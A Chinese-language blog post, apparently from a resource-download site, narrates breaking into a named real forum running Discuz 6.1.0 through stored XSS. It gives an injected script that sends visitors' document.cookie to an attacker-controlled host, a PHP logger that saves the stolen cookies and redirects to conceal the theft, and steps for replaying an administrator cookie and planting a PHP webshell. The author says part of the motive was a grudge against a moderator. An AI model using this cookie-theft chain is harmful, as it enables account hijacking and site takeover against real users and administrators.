利用XSS渗透DISCUZ 6.1.0实战-资源分享吧

网上关于XSS入侵网站的例子很多，但是大多都是一些恶作剧性质的介绍.下面本人来亲自介绍下利用脚本入侵国内某安全论坛的过程就像主题所说一样，今天测试的论坛是DISCUZ！ 6.1.0 目标：卡巴技术论坛 http://kpchina.net http://bbs.kpchina.net工具：无（感觉本人的入侵方式不是很高级，低调，所以不用工具，需要的东西自己写，都是脚本哦~！o(∩_∩)o…）下面开始入侵：XSS(Cross Site Scripting)攻击，想要获得权限就要找漏洞，大家都是知道，DISCUZ！ 6.1.0 论坛有XSS漏洞，这是前人的经验，我不邀功很多人只是知道有XSS漏洞可以加个alert之类的标记，但是都属于恶作剧的范畴，实用战术才是抓住入侵的关键，让那些大意的编程人员和系统管理员能够提高安全意识。真正具有威胁性的XSS攻击方式就是那就是网上提到的窃取Cookie，Cookie是保存在本机临时目录，记录本机帐户登录网站的帐户信息，窃取它，并不能看到被窃取人的帐号和密码，有人会问，那有什么用，我们要的只是Cookie文件，只要把具有相应网站权限帐号的Cookie拷贝到入侵者自己机器的临时目录下，覆盖刷新那个网站，就能自动登录进去，获得其站点权限。上面说的是思路，下面说下如何活动卡巴论坛的管理权限要获得卡巴技术论坛的管理员帐号的Cookie，就要在论坛里注入获得帐号Cookie的js脚本，将Cookie以post方式提交给入侵者如图：

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线（隐蔽）论坛插入脚本：

var img = new Image();img.src = \’get_cookie.php?var=\’ + encodeURI(document.cookie);

但是我不一样，因为他需要诱导人去点击他的链接，但是现在人不是傻子，不会轻易点你的链接。而我是要把脚步插入论坛页面中，这样既隐蔽又省去了诱导的力气我插入的脚本如下：

**********************************************************************************************<script language="JavaScript"> window.location.href="http://www.****.cn/upload_files/reg.php?var"+document.cookie; </script> **********************************************************************************************

跨站攻击脚本：reg.php

************************************************************************************<?phpif (isset($_GET[\’var\’])) { file_put_contents(\’./cookie/\’.time().\’.txt\’, urldecode($_GET[\’var\’]));}?><script language="JavaScript"> window.location.href="http://www.ccXv.com"; </script> //转移页面隐蔽上面记录cookie的操作************************************************************************************

剩下的步骤就是等着鱼自己上钩了当管理员帐号点入论坛某个页面时，这个页面却被转到了某新闻网站，其实不知，他的cookie已经被记录拿这个cookie登录论坛，（删东西不推荐哦~~），可以临时开启上传php文件，例如phpwebshell，然后再关闭，这样你就可以很轻松的操控整个论坛站点为什么选择此论坛做入侵讲解，很简单，这个论坛具备了多个漏洞：一、论坛有XSS漏洞，没有对输入输出做过滤二、论坛采用cookie方式记录用户信息三、对论坛上某个版主看不惯，有点权利乱封号，不过，毕竟论坛不是那个人的，还是对管理员手下留情吧（做人要厚道！）

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用？: 本站所有资源版权均属于原作者所有，这里所提供资源均只能用于参考学习用，请勿直接商用。若由于商用引起版权纠纷，一切责任均由使用者承担。更多说明请参考 VIP介绍。

织梦模板使用说明: 你下载的织梦模板并不包括DedeCMS使用授权，根据DedeCMS授权协议，除个人非盈利站点外，均需购买DedeCMS商业使用授权。购买地址： http://www.desdev.cn/service-dedecms.html

E启学在线网校网站在线教育校园教学平台程序系统V1.0源码

Laravel开发MeEdu在线点播网站源码知识付费应用系统源码

一比一精仿电影挖片网苹果cmsv10模板

织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包

蓝色清晰织梦资源网下载站源码

全景通旗舰版最新源码内核到krpano1.19pr8 支持任何高清图

thinkPHP音视频素材资源下载站整站源码带会员系统+支付接口

仿集图网模板图片素材类模板织梦下载站源码带整站数据

织梦蓝色图纸展示类企业网站源码

Thinkphp5.0响应式进销存仓库管理系统源码

利用XSS渗透DISCUZ 6.1.0实战